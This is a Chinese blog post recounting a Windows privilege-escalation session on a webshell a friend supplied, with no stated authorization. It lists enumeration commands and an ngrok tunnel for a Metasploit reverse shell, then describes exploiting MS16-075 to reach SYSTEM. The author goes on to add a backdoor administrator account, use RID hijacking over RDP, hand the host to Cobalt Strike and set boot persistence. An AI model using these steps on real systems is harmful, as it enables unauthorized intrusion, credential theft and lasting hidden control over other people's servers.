一次玄学提权

windows提权

创建时间:2019-08-03 22:50

阅读:

前言

某友扔了个shell给我，问我能不能提权，故事就这么开始了

菜刀连上一看，权限小的可怕

查看一波补丁

systeminfo

查看一下用户名

net user

查看一下administrators组

net localgroup administrators

将刚刚的补丁号扔去提权辅助页面查一手exp
提权辅助网页

eseCGt.md.png

试一波exp后发行不行，ngrok+msf获取meterpreter

./ngrok tcp 4444

得到meterpreter,反手就试一波getsystem,不行
eseMR0.md.png

选择/recon/local_exploit_suggester模块获取一波能利用的exp,这里懒就不截图了
模块用法参考:https://422926799.github.io/posts/80762752.html

得到一个名为MS16-075的exp，用msf的试了一手，发现不行，可能是我操作错了

然后第一次用的时候贼玄学，明明都已经出来了system。就是伪造不了令牌，后面一看又没了system用户

隔几分钟后在试了一遍，提下来了

反手加用户加入administrator组

反手查询RDP端口

反手登录RDP，然后加个RID劫持获取管理员全部数据
esmU0g.md.png

RID劫持重新登录RDP
esmTc6.md.png

加入cs

加个开机自启
esnPu8.md.png

完

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。